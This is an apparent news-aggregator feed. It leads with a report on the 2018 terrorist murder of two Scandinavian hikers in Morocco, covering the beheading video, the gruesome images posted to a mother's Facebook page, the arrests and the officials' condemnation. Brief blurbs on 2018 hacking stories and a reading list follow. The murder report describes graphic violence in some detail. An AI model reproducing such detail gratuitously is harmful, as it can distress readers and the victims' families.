Louisa Vesterager Jespersen, 24, from Denmark, and Maren Ueland, 28, from Norway were both stabbed to death and one was beheaded on camera. Footage of the appalling attack has been posted to one of their mother’s Facebook.

Friends and family have urged people not to view the video which has been shared across social media. The women’s bodies were discovered by a group of French hikers on Monday and flown to Copenhagen Friday.

“It was horrible. They were broken,” one of the French hikers said. “We warned everyone we saw in Imlil not to go up there. I did not want more to see what we had seen…It was a big shock, we’re thinking about it all day. It makes you think about what’s important in life.”

Ueland’s mother’s Facebook page has been spammed with hundreds of images depicting her daughter’s slit throat and Jespersen’s severed head.

However, the vast majority of comments expressed condolences, many of which are from people claiming to be Moroccans and decrying the attacks.

Video of the suspects pledging allegiance to Islamic State (IS, formerly ISIS/ISIL) leader Abu Bakr Al-Baghdadi has been authenticated by investigators, adding further evidence that this was indeed an act of terrorism.

“The video showing the arrested individuals … pledging allegiance to Daesh was recorded last week before the execution of the criminal acts we are investigating,” the prosecutor in Rabat said.

So far, Moroccan police have arrested four suspects in connection with the case.

Three of them were arrested as they were boarding a bus from Marrakech to Agadir and were found with three long machete-like knives, a shorter blade and a slingshot. Surveillance footage shows the suspects setting up a tent a few hundred yards from the women. Morocco’s general prosecutor said one of the suspects is a member of a militant group but declined to give any name.

“[This is] revenge for our brothers in Hajin,” one of the suspects says in French in the video, referring to the last IS stronghold in Syria which fell recently.

Ueland’s mother told Norwegian broadcaster NRK that before setting off on the month-long holiday, her daughter’s “first priority was safety. The girls had taken all the precautionary measures before embarking on this trip.”

Jespersen’s ex-boyfriend made a heartfelt plea for calm and peace as the women’s family and friends continue to grieve.




Also on rt.com
Huge fire engulfs migrant camp in Morocco, residents claim blaze was started intentionally (VIDEO)



“It breaks my heart that there is someone who would hurt you, you always saw the very best in people and you brought out the best in the people around you. You travelled around the world just as you would, you would not be limited by fear of all the dangers of the world. You did what you wanted and you were tough,” ex-boyfriend Glen Martin wrote.

In a statement on the killings, Danish Prime Minister Lars Lokke Rasmussen said he was filled with “anger and disgust” at “these barbaric and bestial actions,” adding that “Much indicates that the killing can be politically motivated and thus a terrorist act.”  

“It shows that there are still dark forces, their violence will fight us and the way we live. It makes me angry but also stubborn that we can never give in and give up.”

Think your friends would be interested? Share this story!

Let’s block ads! (Why?)

]]> https://briefnews.eu/two-scandinavian-backpackers-hacked-to-death-in-morocco-mother-spammed-with-gruesome-images/feed/ 0 If China Hacked Marriott, 2014 Marked a Full-on Assault https://briefnews.eu/if-china-hacked-marriott-2014-marked-a-full-on-assault/ https://briefnews.eu/if-china-hacked-marriott-2014-marked-a-full-on-assault/#respond Thu, 13 Dec 2018 06:03:30 +0000 http://briefnews.eu/if-china-hacked-marriott-2014-marked-a-full-on-assault/ It increasingly appears that China was behind the Marriott hack, making 2014 a landmark year in cyberattacks against the US.


https://media.wired.com/photos/5c1138f666a536508c987f90/master/pass/Security-China_hack_1061214170-w.jpg

]]> https://briefnews.eu/if-china-hacked-marriott-2014-marked-a-full-on-assault/feed/ 0 Quora Hacked, Moscow Ransomware, and More Security News This Week https://briefnews.eu/quora-hacked-moscow-ransomware-and-more-security-news-this-week/ https://briefnews.eu/quora-hacked-moscow-ransomware-and-more-security-news-this-week/#respond Sat, 08 Dec 2018 22:33:41 +0000 http://briefnews.eu/quora-hacked-moscow-ransomware-and-more-security-news-this-week/ China accusations, Eastern European bank heists, and more of the week’s top security news.


https://media.wired.com/photos/5c0b012587e1b12d64ab1697/master/pass/Quora-Hacked_Final.png

]]> https://briefnews.eu/quora-hacked-moscow-ransomware-and-more-security-news-this-week/feed/ 0 Someone may have hacked Drake’s ‘Fortnite’ account https://briefnews.eu/someone-may-have-hacked-drakes-fortnite-account/ https://briefnews.eu/someone-may-have-hacked-drakes-fortnite-account/#respond Mon, 26 Nov 2018 07:35:43 +0000 http://briefnews.eu/someone-may-have-hacked-drakes-fortnite-account/

Drake is a fairly knowledgeable Fortnite player, but he might have a thing or two to learn about online security. While famed game streamer Ninja was running a charity event on November 23rd, a “Duddus647” account joined his Fortnite game, possibly using Drake’s Epic Games account name rather than his usual PS4 handle (“TheBoyDuddus”). However, whoever was using that account was very clearly not Drake. After some silence, it became clear that this most definitely wasn’t the Canadian rap superstar — the person suddenly unleashed a string of racist slurs that forced Ninja to leave the game.

Ninja said he would message Drake about the apparent hack, and that he’d report the player to Epic.

There hasn’t been direct confirmation that this is Drake’s account. Epic isn’t about to hand out personal details, after all. However, the account name lines up (647 is an area code in Drake’s hometown of Toronto), and Ninja is in a position to know. Either way, it’s not a good look for the musician — and it’s a reminder that two-factor authentication is practically a must if you’re concerned about your account security.

Via: Dexerto, The Verge

Source: Twitch

]]> https://briefnews.eu/someone-may-have-hacked-drakes-fortnite-account/feed/ 0 Recommended Reading: Midterms have already been hacked https://briefnews.eu/recommended-reading-midterms-have-already-been-hacked/ https://briefnews.eu/recommended-reading-midterms-have-already-been-hacked/#respond Sat, 27 Oct 2018 18:25:37 +0000 http://briefnews.eu/recommended-reading-midterms-have-already-been-hacked/

The midterms are already hacked. You just don’t know it yet.
Benjamin Wofford,
Vox

The concerns regarding voting processes in the US are nothing new, especially when it comes to vulnerabilities. Vox is the latest to take an in-depth look at the troubling issues surrounding voting systems ahead of the midterms on November 6th. And it’s (still) not pretty, even after months of warnings from all sides.

It started as an online gaming prank. Then it turned deadly
Brendan Koerner,
Wired

Wired offers a detailed look at what is likely the most infamous swatting incident thus far: the prank initiated by Tyler Barriss that ended with a fatal shooting in 2015.

I fell for Facebook fake news. Here’s why millions of you did, too.
Geoffrey A. Fowler,
The Washington Post

The latest viral hoax fooled millions, so The Washington Post looks into why it was so effective.

When electric isn’t good enough
Alissa Walker,
Curbed

California’s use of EVs and cleaner fuels won’t be enough to achieve its climate goals.

Apple News’s radical approach: Humans over machines
Jack Nicas,
The New York Times

As Apple News tallies 90 million regular readers, The New York Times takes a look at how human curation got the service to this point.
]]> https://briefnews.eu/recommended-reading-midterms-have-already-been-hacked/feed/ 0